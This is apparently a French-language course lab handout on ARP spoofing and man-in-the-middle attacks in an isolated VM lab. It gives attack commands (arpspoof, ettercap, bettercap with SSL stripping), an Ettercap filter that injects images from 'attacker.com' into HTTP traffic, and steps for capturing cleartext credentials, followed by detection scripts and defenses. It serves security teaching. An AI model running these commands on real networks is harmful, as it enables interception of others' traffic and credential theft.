Aller au contenu principal

Lab 5.3: ARP Spoofing et Man-in-the-Middle

Objectifs d'Apprentissage​

À la fin de ce laboratoire, vous serez capable de:

  • Comprendre le protocole ARP et ses vulnérabilités
  • Réaliser une attaque ARP spoofing entre deux machines
  • Se positionner en Man-in-the-Middle sur un réseau
  • Intercepter et analyser le trafic réseau en temps réel
  • Capturer des credentials transmis en clair
  • Détecter une attaque ARP spoofing active
  • Implémenter des protections contre ARP spoofing
  • Comprendre l'importance du chiffrement

Durée Estimée​

40 minutes

Prérequis​

  • 3 VMs: Attaquant (Kali), Victime (Windows), Router/Gateway (Windows ou Linux)
  • Réseau interne VirtualBox
  • Wireshark installé
  • Compréhension du modèle OSI et TCP/IP
  • Labs 5.1 et 5.2 complétés

Contexte Professionnel​

Les attaques Man-in-the-Middle (MitM) via ARP spoofing permettent à un attaquant sur le même réseau local de:

  • Intercepter toutes les communications
  • Voler des credentials (HTTP, FTP, Telnet)
  • Modifier le trafic en transit
  • Rediriger vers des sites malveillants
  • Effectuer du phishing ciblé

Utilisé dans:

  • Tests de pénétration interne
  • Démonstrations de sécurité
  • Attaques sur réseaux WiFi publics
  • Espionnage industriel
  • Vol de sessions

AVERTISSEMENT ÉTHIQUE ET LÉGAL - CRITIQUE​

CE LAB ENSEIGNE UNE ATTAQUE ACTIVE SUR RÉSEAU

ARP spoofing est une attaque qui intercepte les communications d'autrui.

AUTORISÉ UNIQUEMENT:

  • Sur votre réseau de lab isolé (VMs)
  • Sur des systèmes de test dont vous êtes propriétaire
  • Dans le cadre de tests autorisés par contrat écrit
  • Avec consentement explicite de toutes les parties

STRICTEMENT INTERDIT ET ILLÉGAL:

  • Sur réseaux WiFi publics (cafés, aéroports, bibliothèques)
  • Sur réseau d'entreprise sans autorisation
  • Pour intercepter communications d'autrui
  • Pour vol de credentials ou espionnage

CONSÉQUENCES EXTRÊMEMENT GRAVES:

  • Interception de communications = Crime grave (Code criminel art. 184)
  • Comparable à écoute électronique
  • Prison jusqu'à 5 ans
  • Amendes massives
  • Casier judiciaire permanent

CONFIGURATION OBLIGATOIRE:

  • Réseau VMs en mode INTERNE uniquement
  • Aucun accès Internet
  • Environnement complètement isolé

Partie 1: Comprendre ARP et ses Vulnérabilités​

Étape 1.1: Protocole ARP (Address Resolution Protocol)​

Rôle: Convertir adresse IP en adresse MAC

Exemple:

PC veut communiquer avec 192.168.100.20
PC ne connaît que l'IP, pas l'adresse MAC
PC broadcast: "Qui a l'IP 192.168.100.20?"
192.168.100.20 répond: "C'est moi! Mon MAC est AA:BB:CC:DD:EE:FF"
PC peut maintenant envoyer des paquets Ethernet

Table ARP:

arp -a

Résultat:

Interface: 192.168.100.10
Internet Address Physical Address Type
192.168.100.1 00-11-22-33-44-55 dynamic
192.168.100.20 AA-BB-CC-DD-EE-FF dynamic

Problème: ARP n'a AUCUNE authentification!

  • N'importe qui peut répondre
  • Pas de vérification d'identité
  • Confiance aveugle

Étape 1.2: Vulnérabilité d'ARP​

Attaque ARP Spoofing (ARP Poisoning):

  1. Attaquant envoie de fausses réponses ARP
  2. Victime croit que l'IP du router = MAC de l'attaquant
  3. Router croit que l'IP de la victime = MAC de l'attaquant
  4. Tout le trafic passe par l'attaquant!

Schéma:

AVANT:
Victime (192.168.100.20) <---> Router (192.168.100.1)

APRÈS ARP Spoofing:
Victime (192.168.100.20) <---> Attaquant (192.168.100.10) <---> Router (192.168.100.1)
↑
Man-in-the-Middle!

Questions:

  1. Pourquoi ARP est-il vulnérable par design?
  2. Sur quel réseau cette attaque fonctionne-t-elle? (Local/Internet)

Partie 2: Configuration du Lab​

Étape 2.1: Architecture du Lab​

3 VMs nécessaires:

VM1 - Attaquant (Kali Linux):
IP: 192.168.100.10
MAC: [Notez-la]
Rôle: Effectuer l'ARP spoofing

VM2 - Victime (Windows):
IP: 192.168.100.20
MAC: [Notez-la]
Rôle: Cible de l'attaque

VM3 - Gateway/Router (Windows ou Linux):
IP: 192.168.100.1
MAC: [Notez-la]
Rôle: Passerelle réseau (simulée)

Réseau: Internal Network "MitmLab"

Sur chaque VM, vérifiez:

# Linux
ip addr
ip route

# Windows
ipconfig
route print

Étape 2.2: Noter les Adresses MAC​

Sur chaque VM:

Linux:

ip addr show
# Cherchez "link/ether"

Windows:

ipconfig /all
# Cherchez "Adresse physique"

Notez:

VM1 (Attaquant):  IP: 192.168.100.10  MAC: 08:00:27:XX:XX:XX
VM2 (Victime): IP: 192.168.100.20 MAC: 08:00:27:YY:YY:YY
VM3 (Gateway): IP: 192.168.100.1 MAC: 08:00:27:ZZ:ZZ:ZZ

Étape 2.3: Vérifier Connectivité Initiale​

Sur VM2 (Victime), vérifiez la table ARP:

arp -a

Vous devriez voir:

192.168.100.1   00-11-22-33-44-55  (MAC du vrai gateway)
192.168.100.10 08-00-27-XX-XX-XX (MAC de l'attaquant)

Pingez le gateway:

ping 192.168.100.1

Fonctionne normalement.

Questions: 3. Quelle est l'adresse MAC actuelle du gateway dans la table ARP de la victime? 4. Combien d'entrées ARP sont présentes?


Partie 3: Attaque ARP Spoofing​

Étape 3.1: Activation du Forwarding IP​

Sur VM1 (Attaquant), AVANT de lancer l'attaque:

Linux:

echo 1 > /proc/sys/net/ipv4/ip_forward

OU

sysctl -w net.ipv4.ip_forward=1

Vérification:

cat /proc/sys/net/ipv4/ip_forward

Devrait afficher: 1

IMPORTANT: Sans IP forwarding, le trafic est bloqué (DoS au lieu de MitM)!

Étape 3.2: Lancement de l'Attaque avec arpspoof​

arpspoof (outil classique):

Terminal 1 - Empoisonner la Victime:

sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1

Commande:

  • -i eth0 - Interface réseau
  • -t 192.168.100.20 - Target (victime)
  • 192.168.100.1 - IP à usurper (gateway)

Résultat:

8:0:27:xx:xx:xx 8:0:27:yy:yy:yy 0806 42: arp reply 192.168.100.1 is-at 8:0:27:xx:xx:xx

Répète continuellement: "Le gateway (192.168.100.1) a MON adresse MAC!"

Terminal 2 - Empoisonner le Gateway:

sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20

Dit au gateway: "La victime (192.168.100.20) a MON adresse MAC!"

MAINTENANT: Attaque MitM active!

Étape 3.3: Vérification de l'Attaque​

Sur VM2 (Victime), vérifiez la table ARP:

arp -a

AVANT l'attaque:

192.168.100.1   00-11-22-33-44-55  (MAC du vrai gateway)

APRÈS l'attaque:

192.168.100.1   08-00-27-XX-XX-XX  (MAC de l'ATTAQUANT!)

La table ARP a été empoisonnée!

Victime pense que le gateway = attaquant!

Testez:

ping 192.168.100.1

Le ping fonctionne (grâce à IP forwarding), mais passe par l'attaquant!

Questions: 5. L'adresse MAC du gateway a-t-elle changé dans la table ARP de la victime? 6. Le trafic passe-t-il maintenant par l'attaquant?


Partie 4: Interception de Trafic​

Étape 4.1: Capture avec Wireshark​

Sur VM1 (Attaquant), lancez Wireshark:

sudo wireshark &
  1. Sélectionnez l'interface réseau (eth0)
  2. Démarrez la capture
  3. TOUT le trafic de la victime est capturé!

Sur VM2 (Victime), générez du trafic:

ping google.com

Sur Wireshark (VM1):

  • Filtrez: icmp
  • Vous voyez les pings de la VICTIME!

Vous interceptez le trafic d'une autre machine!

Étape 4.2: Capture de Credentials HTTP​

Sur VM2 (Victime), visitez un site HTTP (non HTTPS):

Sites de test légaux:

Sur VM1 (Wireshark), filtrez:

http

Vous voyez:

  • Toutes les requêtes HTTP
  • Headers complets
  • User-Agent
  • Cookies
  • Credentials en clair si login!

Follow HTTP Stream:

  1. Clic droit sur paquet HTTP
  2. Follow → HTTP Stream
  3. Conversation complète visible!

Si site de login HTTP:

POST /login HTTP/1.1
Host: example.com

username=admin&password=SecretPassword123

Mot de passe CAPTURÉ en clair!

Étape 4.3: Différence HTTP vs HTTPS​

Sur VM2, visitez maintenant:

https://google.com

Sur Wireshark:

  • Filtrez: tls ou ssl
  • Vous voyez la connexion chiffrée
  • Impossible de voir le contenu!

Données chiffrées:

Content Type: Application Data
Encrypted Application Data: <données illisibles>

Comparaison:

  • HTTP: TOUT visible (URL, headers, passwords, contenu)
  • HTTPS: Seulement IP destination visible, contenu chiffré

Questions: 7. Avez-vous réussi à capturer du trafic HTTP de la victime? 8. Pouvez-vous voir le contenu des requêtes HTTPS?


Partie 5: Outils Avancés de MitM​

Étape 5.1: Ettercap (Complet et Graphique)​

Ettercap: Outil MitM avec GUI et fonctionnalités avancées

Lancement:

sudo ettercap -G

Configuration:

  1. Sniff → Unified sniffing
  2. Sélectionnez interface (eth0)
  3. Hosts → Scan for hosts
  4. Hosts → Hosts list
  5. Sélectionnez Victime → Add to Target 1
  6. Sélectionnez Gateway → Add to Target 2
  7. MitM → ARP poisoning
  8. Cochez "Sniff remote connections"
  9. Start → Start sniffing

BOOM! Attaque MitM active avec GUI!

Fonctionnalités:

  • Détection automatique d'hôtes
  • ARP poisoning en un clic
  • Capture de passwords automatique
  • Filters pour modifier le trafic
  • Logs détaillés

Étape 5.2: Filters Ettercap (Modification de Trafic)​

Ettercap peut MODIFIER le trafic en transit!

Exemple de filter: Remplacer images par autres images

Créez replace.filter:

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
}
}

if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://attacker.com/fake.jpg\" alt=\"");
}

Compilation:

etterfilter replace.filter -o replace.ef

Utilisation dans Ettercap:

Filters → Load a filter → replace.ef

Résultat: Toutes les images sur sites HTTP sont remplacées!

Étape 5.3: Bettercap (Moderne)​

Outil moderne et puissant:

sudo bettercap -iface eth0

Commandes interactives:

# Découverte réseau
net.probe on
net.show

# ARP spoofing
set arp.spoof.targets 192.168.100.20
arp.spoof on

# Capture credentials
set net.sniff.verbose true
net.sniff on

# HTTP(S) stripping
set http.proxy.sslstrip true
http.proxy on

Interface web:

sudo bettercap -iface eth0 -caplet http-ui

Accès: http://127.0.0.1:80 (interface web complète!)

Questions: 9. Quel outil préférez-vous (arpspoof, ettercap, bettercap)? 10. Bettercap peut-il downgrader HTTPS vers HTTP?


Partie 6: Détection d'ARP Spoofing​

Étape 6.1: Détection Manuelle​

Sur une machine, surveiller la table ARP:

PowerShell:

while ($true) {
Clear-Host
Write-Host "=== ARP TABLE MONITORING ===" -ForegroundColor Cyan
arp -a
Start-Sleep -Seconds 2
}

Observation:

  • Si une IP change de MAC fréquemment: SUSPECT!
  • Si deux IPs ont la même MAC: ARP SPOOFING!

Exemple d'anomalie:

192.168.100.1   08-00-27-AA-AA-AA
192.168.100.10 08-00-27-AA-AA-AA <- MÊME MAC = ATTAQUE!

Étape 6.2: Détection avec Outils​

arpwatch (Linux):

sudo apt install arpwatch
sudo arpwatch -i eth0

Logs dans: /var/log/arpwatch.log

Alerte sur:

  • Nouveaux hôtes
  • Changements de MAC
  • Flip-flop (MAC change puis revient)

XArp (Windows):

  • Outil GUI pour monitoring ARP
  • Alertes en temps réel
  • Gratuit

Script PowerShell de détection:

$baseline = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$baseline[$matches[1]] = $matches[2]
}
}

while ($true) {
Start-Sleep -Seconds 5

$current = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$current[$matches[1]] = $matches[2]
}
}

# Comparer
foreach ($ip in $baseline.Keys) {
if ($current[$ip] -and $current[$ip] -ne $baseline[$ip]) {
Write-Host "ALERT: IP $ip MAC changed!" -ForegroundColor Red
Write-Host " Was: $($baseline[$ip])"
Write-Host " Now: $($current[$ip])"
}
}

$baseline = $current.Clone()
}

Étape 6.3: Détection Réseau​

Avec Nmap:

nmap --script=arp-scan 192.168.100.0/24

Détecte:

  • Duplications d'adresses MAC
  • Réponses ARP suspectes

Questions: 11. Votre script de détection alerte-t-il pendant l'attaque? 12. Combien de temps faut-il pour détecter l'attaque?


Partie 7: Défenses contre ARP Spoofing​

Étape 7.1: ARP Statique​

Définir entrées ARP statiques (non modifiables):

arp -s 192.168.100.1 00-11-22-33-44-55

Vérification:

arp -a

Type: static au lieu de dynamic

Avantage: Immune à ARP spoofing!

Inconvénient: Configuration manuelle, maintenance difficile

Étape 7.2: Port Security (Switch)​

Sur un switch géré:

Configuration port security pour:

  • Limiter nombre de MACs par port
  • Lier MAC à port spécifique
  • Shutdown port si violation

Exemple configuration Cisco:

interface FastEthernet0/1
switchport mode access
switchport port-security
switchport port-security maximum 1
switchport port-security violation shutdown
switchport port-security mac-address sticky

Résultat: Une seule MAC autorisée par port, changement = shutdown!

Étape 7.3: Solutions Logicielles​

Windows:

  • XArp (monitoring et alertes)
  • ArpON (daemon de protection)

Linux:

  • arpwatch (monitoring)
  • ArpON (protection active)

Pare-feu:

  • Règles pour bloquer trafic anormal
  • Inspection ARP

Segmentation:

  • VLANs pour isoler zones sensibles
  • Limiter portée des attaques MitM

Questions: 13. Quelle méthode de protection est la plus efficace? 14. Est-il réaliste de configurer ARP statique sur un grand réseau?


Partie 8: Scénarios Réels​

Étape 8.1: WiFi Public Attack​

Scénario typique:

  1. Café avec WiFi public
  2. Attaquant se connecte au même réseau
  3. Lance ARP spoofing
  4. Intercepte TOUT le trafic des clients
  5. Capture credentials, cookies, données

Données capturées:

  • Logins sur sites HTTP
  • Cookies de session
  • Emails (si POP3/IMAP non chiffré)
  • FTP credentials
  • Recherches web

Protection utilisateur:

  • VPN sur WiFi public (OBLIGATOIRE!)
  • Uniquement HTTPS
  • Pas de banking/email sur WiFi public

Étape 8.2: Réseau d'Entreprise​

Attaquant interne ou via phishing:

  1. Compromission initiale d'un poste
  2. ARP spoofing sur le segment réseau
  3. Interception de trafic
  4. Capture de credentials domaine
  5. Lateral movement avec credentials volés
  6. Compromission complète du réseau

Temps: Peut prendre quelques heures seulement!

Étape 8.3: Attaque Combinée​

ARP Spoofing + DNS Spoofing:

  1. MitM actif via ARP
  2. Modifier réponses DNS
  3. Rediriger vers faux sites (phishing)
  4. Vol de credentials même sur HTTPS (avec certificat auto-signé + warning ignoré)

Avec Ettercap:

  • DNS spoofing intégré
  • Modification de trafic
  • SSL stripping (downgrade HTTPS → HTTP)

Questions: 15. Pourquoi les réseaux WiFi publics sont-ils particulièrement dangereux? 16. Comment un VPN protège-t-il contre ARP spoofing?


Livrables​

À remettre:

  1. Rapport d'attaque MitM (Word/PDF, 4-5 pages):

    • Réponses aux 16 questions
    • Description complète de l'architecture du lab
    • Méthodologie d'attaque étape par étape
    • Analyse du trafic capturé
    • Temps requis pour l'attaque
  2. Captures d'écran (minimum 8):

    • Table ARP AVANT l'attaque (victime)
    • Table ARP APRÈS l'attaque (victime modifiée)
    • arpspoof en action (terminal)
    • Wireshark capturant trafic de la victime
    • HTTP stream avec credentials visibles
    • HTTPS stream (chiffré)
    • Ettercap interface
    • Script de détection alertant
  3. Fichiers de capture:

    • Wireshark .pcapng avec trafic intercepté
    • Logs ettercap ou bettercap
  4. Documentation de défense (2 pages):

    • Mesures de détection recommandées
    • Solutions de protection par couche (réseau, host, application)
    • Politique de sécurité WiFi

Critères d'Évaluation​

CritèrePoints
Attaque ARP spoofing réussie30%
Interception et analyse de trafic25%
Détection d'attaque active20%
Compréhension des défenses15%
Qualité documentation et captures10%

Commandes de Référence Rapide​

Preparation​

echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1

ARP Spoofing​

# arpspoof
sudo arpspoof -i eth0 -t VICTIME GATEWAY
sudo arpspoof -i eth0 -t GATEWAY VICTIME

# ettercap
sudo ettercap -T -M arp:remote /VICTIME// /GATEWAY//
sudo ettercap -G # GUI

# bettercap
sudo bettercap -iface eth0
> set arp.spoof.targets VICTIME
> arp.spoof on

Détection​

arp -a                    # Vérifier table ARP
arpwatch -i eth0          # Monitoring
nmap --script arp-scan NETWORK

Nettoyage​

# Arrêter arpspoof: Ctrl+C
# Sur victime, vider cache ARP:
arp -d # Windows
sudo ip -s -s neigh flush all # Linux

Dépannage​

Problème: Victime perd connectivité pendant l'attaque​

Solution: IP forwarding pas activé sur l'attaquant. Vérifiez:

cat /proc/sys/net/ipv4/ip_forward

Doit être 1.

Problème: Ne capture aucun trafic​

Solutions:

  • Vérifiez que les deux arpspoof tournent (victime ET gateway)
  • Vérifiez que Wireshark écoute sur la bonne interface
  • Générez du trafic depuis la victime

Problème: Table ARP ne change pas​

Solution:

  • arpspoof tourne-t-il vraiment? Vérifiez output
  • Pare-feu peut bloquer ARP
  • Certains switches ont protection ARP (Port Security)

Conclusion​

Ce lab vous a enseigné:

  • Protocole ARP et ses vulnérabilités fondamentales
  • Réalisation d'attaque Man-in-the-Middle via ARP spoofing
  • Interception de trafic réseau en temps réel
  • Capture de credentials transmis en clair
  • Détection d'attaques ARP actives
  • Mesures de protection multi-couches

Leçons clés:

  1. ARP n'a aucune sécurité par design (confiance aveugle)
  2. Attaquant sur réseau local peut intercepter TOUT le trafic non chiffré
  3. HTTP est complètement vulnérable à MitM
  4. HTTPS protège contre interception (importance du chiffrement)
  5. WiFi public = Danger extrême sans VPN
  6. Détection possible mais protection complexe

Prise de conscience:

  • Plus JAMAIS utiliser HTTP pour données sensibles
  • VPN obligatoire sur WiFi public
  • Chiffrement = Seule vraie protection
  • Réseau local ≠ Réseau sûr

Synthèse MODULE 5:

Vous maîtrisez maintenant la reconnaissance réseau complète:

  • Lab 5.1: Nmap (cartographie réseau, détection de vulnérabilités)
  • Lab 5.2: DNS enumeration (découverte d'infrastructure)
  • Lab 5.3: ARP spoofing (interception active)

Combinées, ces techniques permettent une reconnaissance et compromission réseau complète!


Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 5